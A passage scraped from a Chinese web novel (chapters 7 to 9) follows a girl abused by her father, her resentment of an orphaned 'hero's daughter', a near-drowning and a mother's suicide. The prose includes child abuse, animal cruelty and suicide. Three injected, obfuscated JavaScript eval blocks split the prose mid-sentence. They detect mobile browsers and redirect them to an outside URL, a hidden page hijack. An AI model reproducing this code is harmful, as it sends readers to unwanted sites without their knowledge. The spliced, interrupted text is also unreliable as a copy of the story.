;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729730|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳佳听不懂杨曙忠的话，只看到了他的动作，第一时间冲上前去，抱住杨曙忠的腿，“不许打我爸爸！” 杨曙忠一愣，笑得很是尴尬。“干爹跟你爸爸闹着玩的。” 杨曙忠的死，释放出了两个完全不同的徐盛。一个富于正义感，主动照顾孤儿寡母，接受世人称赞的徐盛，另一个对现实不满，无力改变，只得向力量更为弱小的女人，孩子发泄心中的痛苦的徐盛。前一个徐盛让杨敏置身于天堂，后一个徐盛让徐佳佳和袁小宜陷入地狱。 发现袁小宜身上的伤痕，缘于一个偶然。徐佳佳急于上洗手间，没有敲门就冲进了洗手间。袁小宜正在洗澡，惊恐地转过身来，看清楚是徐佳佳，连忙用衣服遮挡住身体，“怎么进来也不说一声。” 徐佳佳看清了母亲□□上的伤疤，她没看错，香烟，只有点燃的香烟才能烫出那样的伤疤。那一天，离徐佳佳十四岁的生日，还有一个月。 徐佳佳无数次总结自己失败的原因，原因只有一个，她不是一个坏人，至少，不是一个合格的坏人。 徐佳佳下定了决心，做一个坏人，做坏人能够不挨打，做坏人能够保护母亲。 怎么样才能做一个坏人呢？徐佳佳所能想到的最直接的办法，就是毁灭生命。作为耗费了成千上万年进化到食物链顶端的人类，徐佳佳毁灭过很多生命。她打蚊子，“啪”地一声，看到手掌心蚊子的尸体和人类的鲜血，她兴奋不已。她踩蟑螂，动作灵敏，穷追不舍，直到把蟑螂踩成肉酱为止。她剖鱼，把鱼从水里捞上来，水是冷的，鱼的身体也是冷的。小鱼从肚上划上一刀，大鱼从背上下刀，剖成两半。她杀过鳝鱼，用根钉子扎住鳝鱼的脑袋，用锋利的小刀快速剖开鳝鱼的身体，把骨头剔出来。她还在菜市场看人杀过青蛙。每只青蛙被杀的时候，都会发出低低的声音，轻而短，象是婴儿半夜醒来，刚刚哭出第一声，就被母亲的□□堵住了嘴。 徐佳佳从学校实验室里偷了一只小兔子，一个人躲在楼顶。她点燃了一支香烟，烟熏得她流泪不止，眼睛红得象兔子。深吸一口气，闭上眼睛，拿着正在燃烧的烟头，朝着小兔子身上按下去。这个动作，她在大脑里预演了无数次，已经有了一次成功的把握。但是，真正实施的时候，冒出了无数的意料之外。先是兔子不停地挣扎，强有力地踢了她一脚；然后是兔子逃跑成功，去追兔子的时候烟又熄了。好不容易烟点燃了，她的手感受到兔子的体温，和人类一样温暖，摸到了兔子的心跳，和人类一样在跳动，就这样她丧失所有的力气。她扔掉烟头，抱着兔子大哭了一场，她的眼睛比兔子还红，作为内心愧疚的补偿，顺手偷来邻居家的青菜当作兔子的零嘴。 小兔子肥得跑不动的同时，徐佳佳已经能够熟练地模仿电视上坏女人们抽烟的姿势。 徐佳佳总结失败的原因，兔子是一种可爱的动物，兔子没有伤害过她。所以，她不需要兔子，她需要不那么可爱，伤害过她的生物。 徐佳佳想到了杨敏。 为了让自己的行为更精密一些，徐佳佳拿出一张纸，列举了所有杨敏伤害过她事件，借过铅笔没还，偷穿她洗干净的校服这些都小事，徐盛殴打她，杨敏袖手旁观的大事。徐佳佳的注意力，全部集中在大事上面。 她不明白，她怎么也想不明白，如此严重的殴打面前，作为朋友，杨敏怎么能保持沉默呢？ 徐佳佳还是个孩子，没有学会当面质问，使人难堪。 她选择了迂回的方式。“杨敏，如果我们两一起遇上打劫的，你会帮我吗？” “会！”杨敏毫不犹豫地说，“我会象我爸爸一样冲上去，抱住劫匪。” “你知道吗？高二有个女生在宿舍里被人打了。” “她们就是欺负她没有朋友，放心，我们是好朋友，我怎么也会保护你的。” “如果欺负我的人是我爸爸，你也会保护我吗？杨敏。” 杨敏沉默了很久，轻声而坚决地回答，“不，我不会。” 这不是徐佳佳期待的答案。 你是我的朋友，如果你还有良心，你应该帮助我！这是徐佳佳内心最强烈的呐喊。 “徐佳佳，你是我的朋友，我不想骗你。干爹的爱，对我很重要。我不会做任何让他不高兴的事。” “即便他把我打成这样！”愤怒之下，徐佳佳脱光了衣服。 少女尚未发育成熟的躯体上，满是狰狞的伤痕，美丽和丑陋，仿佛一个明明高明的画手，画出了最拙劣的作品。 7. 第 7 章 杨敏惊呆了，喃喃自语，“佳佳，我没想到，我真的没想到，他会下手那么重。不不不，佳佳，你放心，干爹只是一时失控，以后不会了。你是他女儿，他亲生的女儿，他怎么可能不爱你的。他爱你的，是不是，小时候，他带你去动物园，一直把你顶在头上，骄傲地向全世界炫耀，看啊，这是我的女儿，我的小公主，徐佳佳。” 徐佳佳从抽屉里拿出一封信拍在桌上。 “你知道这是什么吗？”徐佳佳的嘴角是掩饰不住的讥讽，“是我父亲写给母亲的情书，在情书里，他从不称呼母亲的名字，他喊她天使。他的英语很糟糕，但是天使这个单词，他拼写得正确无误，甚至没有忘记把首字母大写。他解释说，这个大写，代表你永远是我心中唯一的天使。但是，现在，杨敏，你看看，不要以为你不看，你不问，你不想，事实就不存在，你看看这个屋子里，每天帮你洗衣服，帮你做菜，帮你补习功课的女人，我的母亲，被我的父亲，你的干爹，折磨成什么模样了。杨敏，你有没有良心，你真的就那么心安理得吗！” 杨敏看着徐佳佳，突然，她暴发了。“徐佳佳，你不要跟我谈良心，你根本就没有资格跟我谈良心。你被你父亲打了，你的母亲被你父亲虐待了，是的，我看见了，那又怎么样呢？你还有父亲，你还有母亲。我呢？我什么都没有了。我父亲死了，他死了，连尸体都不是完整的。你知道殡仪馆的人怎么说吗？他们说根本就没有办法把我父亲和杀人者分开，只能让他们一起火化。你知道我是多么地痛恨去拜祭我父亲的坟墓吗？我去拜祭我的父亲，同时也在拜祭杀害他的凶手。我给我的父亲献上鲜花，那些鲜花的芬芳，同时也滋润着凶手的灵魂。你知道我的母亲是怎么疯的吗？她不是因为父亲的死而疯的，她是被逼的，被逼疯的！被那些所谓的好人，所谓的良心，所谓的正义，所谓的人类权利逼疯的。你有看过那些照片吗？我和我的母亲获得了领导们的接见，他们站在镜头的最前面，摆出最得体的姿势，露出最迷人的微笑，我的我的母亲躲在镜头的后面，成为他们善心，他们政绩，他们良心的垫脚石。你看过记者们写的文章吗？他们怎么写的，我和我的母亲获得了多少赔偿，是啊，天价的赔偿，一辈子也挣不来的金钱，是啊，差点忘了，还有一套房子，房地产商人许下的诺言，记者拍了照，赠送钥匙的画面还上了电视。你去过那所房子吗？终日不见阳光，天花板还漏水，对了，有钥匙，没有产权，只要你住进去，就是房地产商一辈子的活广告，就是房地商人摆在阳光下面的良心。看啊，就是死去的那个公交司机的妻子和女儿，他们得到了一套房子，房价那么高，十五亿中国人十亿房奴，他们居然得到了一套免费的房子，是啊，他们是多么地幸运啊！徐佳佳，你跟我讲良心，你听过外面的声音吗？那些社会良心们发出的声音。他们踩在我父亲的尸体上，赞美凶手，他们说，凶手的生活是多么地痛苦，凶手的生命是多么地卑微，社会，人民，对凶手是多么地不公平！哈哈，不公平，不公平！他们住着豪宅，开着名车，享受世人的关注，却跟孤儿寡母谈公平！徐佳佳，你父母双全，跟一个失去父亲，母亲住进精神病院的人谈公平！谈良心！你的良心呢？你的良心又在哪里？” 在痛苦的王国里，所有的理由都是正当的。凶手说，我是被逼的，你们捂住耳朵，遮住眼睛，蒙蔽了心灵，不听，不看，不想，那么，我就用伤害的方式，逼整个世界听，逼整个世界看，逼整个世界想。如果我的能力不够，我就选择比我弱小的人。这世界没有人是幸福的，不幸福的人，不需要留在这个世界。受害者说，为什么？为什么是我？为什么让我来承受这一切！你的悲惨，你的痛苦，你的不公平，你的不正义，跟我有什么关系，我努力生活，遵纪守法，偶尔还做点好人好事，为什么要为你的生活付出代价！ 不要强迫没有爱的人去爱。 不要乞求没有爱的人来爱。 杨曙忠死了，李兰疯了，杨敏的内心没有了爱，强迫还是乞求，都是徒劳无益。杨敏只是一个渴望爱的孩子，用尽一切手段，夺取爱。渴望爱的孩子，是不会出错的，所有人都这么认为。 “杨敏，我明白了，你没有了父母，你痛苦，你不开心，所以你要抢我的父母，让我也痛苦，让我不开心。”徐佳佳苦涩地说。 “徐佳佳，不要以为父母之爱是与生俱来的，是任何人都夺不走的。你们夺走了我父亲的生命，我就夺走你的父亲。” “你疯了！”徐佳佳一直把对杨敏的排斥，讨厌，憎恶掩饰得很好，她努力说服自己，这些情绪是不应该有的。但是，她没有料到，杨敏毫不掩饰对她的恨。 “我没疯。我只是恨你，徐佳佳，你成绩比我好，我恨你，老师同学喜欢你，我恨你，你有父亲还有母亲，我更恨你！” “你想杀死我吗？”徐佳佳问了一个问题，很轻松。她没想到自己会这样轻松，也许，她累了，厌倦这幼稚而可笑，偏偏无穷无尽的恨意。 杨敏愣住了。“我为什么要杀死你？” 徐佳佳觉得可笑，步步紧逼。“恨一个人不是杀死她就行了吗？为什么不能杀死我！杨敏，痛快点，杀死我！你愣着做什么！来啊！我不怕你！”徐佳佳大吼！ 杨敏愤怒了。“徐佳佳，你这个伪君子，小人，你居然想让我杀死你，想让我变成杀人凶手。我成了杀人凶手，所有人就会说我的不是，你就能获得所有人的同情。让你占便宜的事，为什么要让我来做！”杨敏推了徐佳佳一把，把徐佳佳推倒在地，逃命一样哭着跑开。 杨敏是一个多么好的人啊！她象所有的好人一样，身上充满了优良的品质！所有人都关心她，获得了父爱和母爱，心慈手软，连伤害自己最恨的人都做不到。 那么，什么是坏人呢？徐佳佳是坏人吗？一个被亲生父母忽略，无视，甚至殴打的人是坏人吗？ 半夜之后，徐佳佳回家。她特意挑选的这个时间段，徐盛要么在上班，要么醉得象死猪一样。她脱下鞋子，赤脚朝着自己的卧室走去。她经过父母卧室的时候，听到了奇怪的声音，类似菜市场青蛙被杀死之前发出的最后的声音，微弱，短暂而绝望。白天，这些声音会被人类的喧嚣淹没。但是，现在是黑夜，安静的黑夜。徐佳佳听到了这个声音，然后，是男人的喘息声，愤怒的诅咒声，还有身体撞击的声音，很重。她想到了死亡，人类的躯体从高楼上落下来，摔在地上的声音。她百思不得其解，人类能象树叶一样飘浮的空中，为什么摔落在地上的声音，会是那样的沉重，沉闷，令人作呕，是因为地底最深处被掩埋的绝望吗？ 恐惧掐住了她的脖子，她发不出声音。她渴望去解救母亲，但是她移不动脚步，青蛙死亡的声音，那个短暂而绝望的声音在脑海里慢慢扩散，漩涡一样。她觉得自己陷入了死亡的漩涡。她的大脑停止了思考。 漫长得象是走到了生命的终点，终于，她聚集了所有的勇气，把手伸向了门。 有人从后面伸出手来，一只手死死的抱住了她的腰，另一只手捂住了她的嘴。 “是我，杨敏。” 徐佳佳听出了杨敏的声音，停止了挣扎。 杨敏敲了敲门，无辜而天真的口气，似乎之前的事情从来不存在，似乎每一个的大脑里都只剩下四个字：天下太平。 杨敏说：“干妈，我饿了，有没有吃的？” 没多久，袁小宜从房里出来，若无其事的微笑，还带着适到好处的睡意。袁小宜在厨房里煮了两碗面条，没有回房间，而是坐在餐桌边，微笑着看徐佳佳和杨敏吃下。 徐佳佳并不饿，但是昏黄中透着温暖的灯光，热气腾腾的面条，母亲微笑的脸庞，都是活着的证据。活着，就是幸福。突然的，她理解了杨敏，这样的慈爱，这样的温馨，此生此世，于徐佳佳而言是现实，于杨敏而言，是回忆是过去是梦想是奢望是永远不会再有。 幸福可以很简单很简单，痛苦却是永远复杂着摸不清头绪找不到出路。幸福是盲目的乐观主义者，享受着传播的乐趣。痛苦是固执的自我主义，独自一人，躲在黑暗的角落，自我吞噬自我毁灭。 杨敏的幸福在于，她必须偷窃别人的幸福。徐佳佳的痛苦在于，属于她的幸福被偷走了，她的反抗，反而成了错误。 十四岁的生日，成了压倒徐佳佳的最后一根稻草。 徐佳佳一直想不明白，十四岁的生日礼物，为什么会疯狂地想要一双皮鞋呢？一双有着闪亮漆皮，鲜红鞋底的皮鞋。 母亲已经很久没给她买新衣服了。不过没关系，大多数的时候，她穿着校服，所有的学生都穿校服，唯一能攀比的，只剩下鞋子。鞋子有很多种，贵到上千，低贱到十块钱，一碗牛肉面的价格。她右脚的大脚趾很长，鞋子穿久了，大脚趾就从鞋子里露出来。小时候，每到这时候，母亲就知道，应该买新鞋了。这几年，母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729731|189609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心得更多的，是杨敏的衣服是不是又短了，杨敏如果穿着不合身的衣服，会不会有人说闲话，说他们刻薄了英雄的女儿。 这两年，杨敏的个头窜得很快，已经开始发育。两个女孩站在一起，一个象是一股青脆的小黄瓜，一个象是风干过的豆芽菜。 “老徐真是不容易啊，看看，把人家杨曙忠的闺女照顾得多好。” 徐盛沉醉于类似的言论，或者说，这样的言论成了他活着的唯一目标。他活着的快乐就是看到健康而快乐的杨敏，以及用来衬托杨敏的丑陋瘦弱的徐佳佳。 瘦小的徐佳佳有一双大脚，丑，很丑，但是，徐佳佳很高兴。 每年的生日，袁小宜会给徐佳佳买一双新球鞋。 徐盛会不满地抱怨，“买什么新鞋，穿杨敏的旧鞋不就行了。” 袁小宜理直气壮地说，“杨敏的鞋佳佳穿不了，佳佳有双大脚，象你。”最后两个字出来之后，徐盛不再抱怨。 徐佳佳的新鞋是最便宜的白色胶鞋。她喜欢把鞋子洗得干干净净，用卫生纸包得严严实实，在太阳底下晒干。据说这个方法可以让鞋子更白。这样的办法是否有科学依据，无从考证，但是徐佳佳的胶鞋需实比所有人的都白，阳光下面，白得耀眼。 “徐佳佳，你的鞋子好白！” “徐佳佳，你的鞋子真干净！” 这样的对话总是会让徐佳佳心情非常好，直到有一天，杨敏穿了一双黑色皮鞋，搭配着白色袜子，同学们立刻忘记了她的白色胶球。 同学们围着杨敏问了很多问题，多少钱，哪里买的，谁给买的.......好吧，徐佳佳都可以当作听不见，直到有人过来问了一个问题。 “徐佳佳，你妈怎么没给你买？” 是啊，徐佳佳，你妈怎么没给你买新皮鞋？你妈为什么只给杨敏买新皮鞋？ 徐佳佳还在思考这个问题，杨敏已经给出了答案。 “我妈妈说了，佳佳的脚穿皮鞋不好看！” “你妈妈？” “袁老师啊，你们不知道吗？袁老师已经正式收养我了，从此以后，我就可以喊袁老师妈妈了。” 徐佳佳惊讶地看着杨敏，看到挑衅的眼神。她立刻明白，杨敏是故意的，故意在众人面前强调：法律上，袁小宜成了杨敏的母亲；事实上，袁小宜疼爱杨敏超过了徐佳佳。 感情是虚无缥缈的，只有物质才是实实在在的。徐佳佳想要证明袁小宜是疼爱自己的母亲，只有一个办法：买一双皮鞋，外表更加漂亮，价格更加昂贵的皮鞋。 徐佳佳跑遍了县城，找到了梦寐以求的皮鞋。她静静地躺在橱窗里，下面垫着白色丝绸。闪亮的黑色漆皮，鞋底是鲜艳的红。她记得那天下午上了一堂历史课，历史老师讲到了法国大革命，讲到了路易十六那位傲慢的皇后被押上了断头台。她一直是个认真但是缺乏想象力的学生，认真只需要排除杂念就行了，而想象力，太过痛苦。徐佳佳记住了年代事件甚至还能洋洋洒洒上千字分析出历史影响。但是，那一天的黄昏，独孤的徐佳佳站在橱窗面前，看到一双漂亮的皮鞋，想到的却是几百年前押上断头台的美丽女子。她强烈地想要知道，那位著名的皇后当时想了些什么。这真是荒谬的思想。一个偏僻的中国县城的女孩，想要知道几百年前押上断头台的皇后的思想。徐佳佳自己也觉得太过荒唐。她嘲笑着自己，不再放纵思想，但是，她克制不了的，是内心深处对这双鞋子的渴望。 没有欲望的人是幸福的。徐佳佳的欲望只不过是双鞋子，也成了不幸。徐佳佳开始做梦，各种有关鞋子的，奇怪的梦。有时候她穿上了鞋子，却摔断了腿；有时候她的脚长得奇形怪状，穿不了鞋子。更多的时候，她梦见父亲把鞋子送给了杨敏，杨敏把鞋子扔进了河里，并且笑得很开心。 徐佳佳从梦中惊醒，她不明白那些梦的含义。她还没有拥有那双鞋子，却已经开始做那些失去的恶梦了。她停下来，问自己一个问题：放弃，还是坚决不放弃。 徐佳佳的悲哀在于，她的坚持，不仅仅是双鞋子。徐盛想到了杨曙忠出事的那天，他给女儿买了双新鞋。 那一天，徐盛喝醉了，从床上摔了下来，正好看到了藏在了床底的鞋子。一双普通的鞋子，一份生日礼物，对于徐盛来说，是开启杨曙忠死亡事件的钥匙。 一辈子很长，徐佳佳却是用来忘记一天的记忆，十四岁生日的记忆。 8. 第 8 章 徐佳佳站在冰冷的河水里。她想了很久，死亡，和杨敏一起死亡，抱着其他无辜的人一起死亡是唯一的出路。她的大脑里充满了恶意的善良。痛苦的徐佳佳不需要活着，偷窃幸福的杨敏不配活着，至于徐盛，她笑了，如果他的女儿成了杀人犯，凶手，徐盛还能被称之为英雄或者好人吗？她善良的愿望是徐盛能成为正常人，有优点有缺点会喝醉酒会迟到早退误事的普通人。也许，袁小宜能成为唯一的幸福者，因为她身边的男人，不再是扭曲的英雄，而是一个普通人，她可以象普通的夫妻一样，高兴了笑，委屈了放声大哭，过得下去就过，过不下去就离。 曾经有一段时间，徐盛施加在身体上的痛苦，徐佳佳不得不努力让大脑麻木，让身体麻木。但是，这就是临死前的感觉吗？这就是做坏事之前的体验吗？思想太多太多，多得令大脑几乎爆炸。河水冰冷，恍惚中，她恐怖地发现自己居然用杨敏的大脑思考，杨敏想死吗？不不不，她怎么会想死呢？她有徐盛毫无保留的宠爱，她有袁小宜小心翼翼的关怀，她还有希望，希望在精神病院的李兰有朝一日能够清醒.....她看着桥上匆匆而过的人，作着最简单的推论，微笑着的，肯定是不想死的，愤怒着的，好吧，这世上的愤怒已经太多太多，人口却是越来越多，徐佳佳陷入了两难，死亡还是生存？ 徐佳佳清醒过来，她惊恐在发现，站在河水里的三个小时，不受控制的大脑努力寻找的，不是死亡，不是怨恨，而是所有人活着的理由。 不不不，她不能让自己这么糊涂下去，思想的方向已经脱离了预期，不行，她得清醒清醒。 突然，她的脑袋沉入了水中。身体的感知提醒她，一只有力大手牢牢地按在她的脑袋上。她努力挣扎，她的指甲把对方的胳膊划出了血，她能看到鲜艳的血无声地漫开，仿佛一缕青烟在沧海桑田里悄无声息消融殆尽。 她想到了哭，又觉得太过软弱。她想到了恨，却不知应该恨谁。 一个少年的声音在她耳边响起，“徐佳佳，你不是想死吗？为什么还要挣扎呢？”少年的声音比初春的河水更加寒冷。 是啊，徐佳佳，你杀不了别人，为什么不能杀死自己呢？你没有勇气！你连杀死自己的勇气都没有！既然如此，那就放弃吧，就此放弃。 徐佳佳放弃了挣扎。 身体很重，重得连手都抬不起来。身体很轻，轻巧得仿佛一片树叶，水，无边无际的水，睁不开眼，不得呼吸，耳朵里充满了声音，闹闹轰轰，却听不清在说些什么。 “我要死了吗？”徐佳佳在想。 “谁要杀死我呢？”徐佳佳忍不住好奇。 “重要吗？”徐佳佳问自己。 “不重要。”徐佳佳自己给出了回答。 “也许，我应该谢谢杀死我的凶手。”徐佳佳不无乐观地嘲笑着。 等待死亡的心情，很平静，那个瞬间，徐佳佳觉得幸福。 徐佳佳她是被剧烈的疼痛唤醒的，一个少年在粗鲁地击打她的肚子。水不受控制的嘴里吐出来。她的第一感觉不是活着，而是难堪。 “以后想死，找个我看不到的地方。”少年冷笑着说。 “是你！是你要杀死我，我本来还想谢谢你的。”徐佳佳不无遗憾。 “留着你的廉价感谢，再见。” 很久之后，晚风吹来，全身还在淌水的徐佳佳打了一个惊天动地的喷嚏，停滞已久的大脑终于恢复运转，她终于把事情发展过程理清了：在制造一起杀人事件的过程中，遇到一个凶手。凶手让她喝了一肚子的河水，又把她救回岸边，然后，扔下她，走了，真的走了。 一个星期后，徐佳佳在学校里遇到了那位少年，知道了他的名字叫唐家明，新来的转校生，据说成绩十分优秀，学校特地免了他的学费。她提心吊胆，害怕唐家明去告密。然后她又自暴自弃，告密也无所谓，她早就不想活了，因为缺乏自杀的勇气。突然间，她觉得让唐家明来告密，让父亲打死她，也不失为一条出路。她既害怕又期待，但是不管怎样，她对少年没有一丝一毫的好感，只好故意装出不屑一顾的样子，显露出冷漠的面孔。 “你还去桥下吗？”广播体操结束之后，唐家明和徐佳佳擦肩而过，徐佳佳听到了唐家明的声音。她身体的每个细胞都叫嚣着——紧张——这两个字。 “什么——”徐佳佳来不及说话，唐家明已经消失在人群里。 “你在跟谁说话？”一旁的杨敏惊讶地问。 “没有，我没有跟任何人说话，也没有任何人跟我说话！”徐佳佳瞪了杨敏一眼，“杨敏，你知道吗，你很讨厌，我上辈子肯定是做了很多伤天害理的事，所以这辈子才认识了你。” 徐佳佳知道自己的话有多残忍，她是故意的，她必须要打击杨敏，看到杨敏痛苦，她才会获得微小的快乐。否则，她会疯的。 杨敏孤单地站在操场，同学们三五成群说说笑笑从她身边经过。爆炸事件之后的第三年，同学们渐渐地学会了和杨敏保持距离。我们把这种现象用一个悲观的词语来形容，孤立。 善良的人们怎么能做出如此残忍的事情来呢？怎么能这样对待一个英雄的女儿，更何况，她还有一个陷入痛苦不能自拔的母亲。他们怎么能让牺牲者再经受一次残忍，让他们的躯体死亡之后，精神再死亡一次。但是，现实是，人们就是这样做的，因为我不知如何和你成为朋友，朋友是平等的；我更知道不该把你视为敌人，敌人也是平等的。所以，我只能客气地疏远你，日复一日，年复一年...... 从爆炸发生的那一日起，杨敏就被剥夺了平等竞争的权利。所谓的平等权，象是虚无缥缈的空气，当你完全拥有他们的时候，你感受不到他们的存在，你不觉得自己是幸福的。但是，一旦有一天，你失去了他们，直接就是，痛不欲生。 “如果你恨她，就永远地恨下去吧，不要改变主意，一辈子也不要改变主意。”唐家明说。 “关你什么事。”同样的，徐佳佳也讨厌唐家明，她不明白他为什么不去告密，而是阴魂不散地跟着她。 “相信我，你心里想什么，我都知道。” “再说一遍，不管我心里想什么，都不关你的事。” “是吗？如果你再靠近那座桥，信不信我直接淹死你！” 唐家明的话说得凶狠，表情也恰如其份，不知为什么，徐佳佳想起了她养在楼顶的肥兔子。 徐佳佳笑了。“唐家明，如果你真的淹死我，我会谢谢你。真的。” “徐佳佳，你就这么想死？” 徐佳佳没有回答这个问题，因为，她不知道答案。她想死，是因为她想知道，她的死亡，会有多少人伤心，多少人开心，多少人当成八卦的谈资。 程雨涵脸上的表情，怎么形容呢？十八岁青春任性的少女，脸上的表情，很沉重，一夜之间长大成人的感觉。 “怎么了，出什么事了？”徐佳佳很惊讶自己的内心，还隐藏着一种面对程雨涵，叫做关心的情绪。 “我同学自杀了，跳楼。其实我跟这个同学并不怎么熟，她觉得我刁蛮任性乱发脾气，我觉得她小心眼总喜欢斤斤计较。有一次我生理期不小心弄脏了裤子，她好心借了运动裤给我。我好心还了她一条新的，她说我看不起她，我骂说她不知好歹。高考时，她坐我前面，考英语时她的笔断了，我看见了，我有备用的，想过借给她，可是我怕老师以为我们在舞弊。我什么也没做。铃声一响，她就趴桌上大哭，哭得很可怜。我也想过上前去安慰她，可是，跟她关系更好的同学上前安慰她了。我没想到，我真的没想到，她会去跳楼，她明明好好的，明明跟几个同学约好了一起去看电影。为什么会这样呢？她都考上二本了，为什么还要跳楼呢？为什么，为什么会这样呢。” “你说了这么多，是不是想说，英语考试时，你把笔借给了她，她的考试不会失败，她可以考上更好的学校，然后就不会跳楼了。”徐佳佳面无表情地说。 “徐佳佳，你怎么能这么冷血，她是我的同学，我们在一个教室呆了三年。” “是啊，人类的感情就是这么浅薄，花费了时间就换得了感情，相处了三年就有了感情，是人是狗是机器是房子是什么都不重要。” “徐佳佳，你是个冷血动物，不不不，你是个疯子，我要跟我妈妈说，你是个疯子，我不要一个疯子当我的家教。” “看吧，你终于找到一个不用学习的借口了。程雨涵，这就是你所谓的忏悔，所谓的感情，前一分钟还觉得别人的悲剧是你的全部，下一分钟，你就因为找到一个不用学习的借口而沾沾自喜。” “徐佳佳，你，你不是人！” “程雨涵，我知道，你打心里看不起我，我拿了你家的工钱伺候你这个千金大小姐，这是你看不起我的原因。但是你知道吗？我也同样看不起你，离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“是啊，所有人都说，你脑子有病啊，跟孩子计较跟老人计较跟病人计较跟死人计较。就好像一个人年纪小了，老了，病了，甚至死了，错误就不是错误了。” “你的意思是说，我同学死了，我的错误就永远无法挽回了。” “笨蛋，我的意思是说，你的错误是你的错误，跟你同学的自杀没有任何关系。有人死了，亲人们难过很长一段时间，朋友们难过一段时间，只是认识而已的人难过一小段时间，别人的生死没那么重要，别人的错误也没那么重要，同样的道理，你的错误，你自己的生死也没你想象的那么重要。” “我犯错，我父母会生气，但是，如果我自杀，我的父母会伤心很长一段时间吗？” “也许吧，毕竟父母跟其他的亲人，朋友熟人是不一样的，很长时间吧，也许，是一辈子。你会因此而自杀或是不自杀吗？” 程雨涵想了想，肯定地说：“我会犯错，犯很多错误，有大错也有小错，错得让我妈恨不得掐死我，恨不得从来没有生过我，但是，我不会自杀。我妈这个人有时候是挺讨厌的，讨厌一个人，并不等于她伤心了我就开心了。算了算了，越说越显得我没道理，反正我就是个不讲理的人，我还是继续活着气我妈就好了。我那个同学，有什么事不能好好说，非要闹到自杀啊。对了，她家里经济条件不是很好，你说我要不要跟同学们商量一下，捐点钱之类。” “如果你觉得捐点钱你心里会好受些，你就捐吧。” “徐佳佳，你为什么总是扭曲我的意思，我捐钱的目的不是为了让自己好受，是想帮助人。” “好吧，我换一个说法，你帮助别人的原因，是你想让自己心情好一点。” 程雨涵愤怒了。“徐佳佳，你知道你的想法有多恶毒吗？居然能说出这样的话来，你的心理该有多阴暗啊！” 徐佳佳沉默片刻，不再争论。某种意义上，她是同意程雨涵的指责的，她是一个心理阴暗的，自己不快乐，也无法给别人带来快乐的人。 “好吧，你捐钱是因为你想帮人。你说得对，我是坏人。这个理由不错，程雨涵，你可以解雇我了。” 一开始，徐佳佳是看不起程雨涵的，任性散漫，不学无术，不知人间疾苦的千金大小姐。现在，她怀疑她自己，一个愤世嫉俗，心理阴影的家伙，又有什么资格看不起程雨涵呢。 “算了，虽然你这个人很讨厌，说不定下一个家教比你更讨厌，你还是留下吧。”程雨涵说。 9. 第 9 章 天桥上有两个乞丐，一个男人，缺了一条腿，一个老婆婆。他们都有着优秀的职业素质，每天按时上班，按时下班，风雨无阻，遇上节假日或是人流如织的日子，他们也不介意顺便加班之类。缺了腿的男人会拖着残疾的腿到处乱爬，大声乞讨，会故意把乞讨的碗蹭在年轻漂亮姑娘们的衣服上。老婆婆安静地坐在地上，从不说话。但是，两个乞丐讨得的钱一样多。人们的同情心被分了类，分到男乞丐的部分带上了不耐烦，厌恶；分到老婆婆的部分带上了更多的真诚。人们所不知道的是，男乞丐和老婆婆，是有着血缘关系的母子。 不用怀疑，同情来得太过容易太过廉价，大多数人就是这样简单直接，懒得寻根问底的。 曾经，徐佳佳的同情心太过惨痛。她翻了疗养院的围墙，摔得鼻青脸肿，见到了杨敏的妈妈，李兰。 李兰还是那样年轻漂亮。时间似乎在她身上停止了流逝。 “李阿姨，回家，你回家好不好？”徐佳佳拉着李兰的衣服，一遍又一遍地重复乞求着。 “你的家里收拾得很干净，和你走的时候一模一样。妈妈为了不让水管生锈，每天特意去放两回水，早上一回晚上一回。煤气公司每年都会上门检修，转下按钮就能打火。去年过年前，妈妈特意把所有窗帘洗过一遍。李阿姨，你最喜欢的白纱窗帘，象你离开的时候一样干净，一样洁白。还有你的钢琴，每三个月调一次，声音象从前一样清脆悦耳。你的女儿......”徐佳佳犹豫了一秒钟，前面所有都是实话，所以，她并不介意在最关键的地方说一点小小的，善意的谎，“你的女儿，杨敏，你记得吗？一直在家里等着你。她没有爸爸，你不能让她连妈妈也失去。没有爸爸妈妈的孩子很可怜的，在家里没人关心，没人关心她吃得饱不饱，穿得暖不暖，有外面有没有被人欺负，有没有遇到解决不了难题，会不会心里有很多话没人说，会不会觉得孤单。” 李兰流泪了，大概是因为徐佳佳提到了女儿吧。 “回家！我要回家。”她不停地喃喃自语。 徐佳佳感到很满意，一种完成了人生使命的成就感，仿佛看到了人生的希望。她的心情好极了，甚至在医护人员怒吼赶人的时候，做了个可爱的鬼脸。 徐佳佳的好心情的保鲜期只有一个晚上，第二天天没亮，徐盛和袁小宜赶去了医院，原因是半夜时分，病情趋于稳定的李兰割脉自杀，决心很大，以至于鲜血都溅到了墙壁上。 徐佳佳看着墙壁，看到上面无数的褐色小点，最长的一条，形成一条完整的抛物线，从门边一直延伸到窗边。徐佳佳真的不想恶毒，但是，当徐盛把李兰自杀的原因归结于她，揪着她的头发把她的脑袋死命往墙上撞的时候，她在想，为什么即将死去的人是她，而不是李兰？ 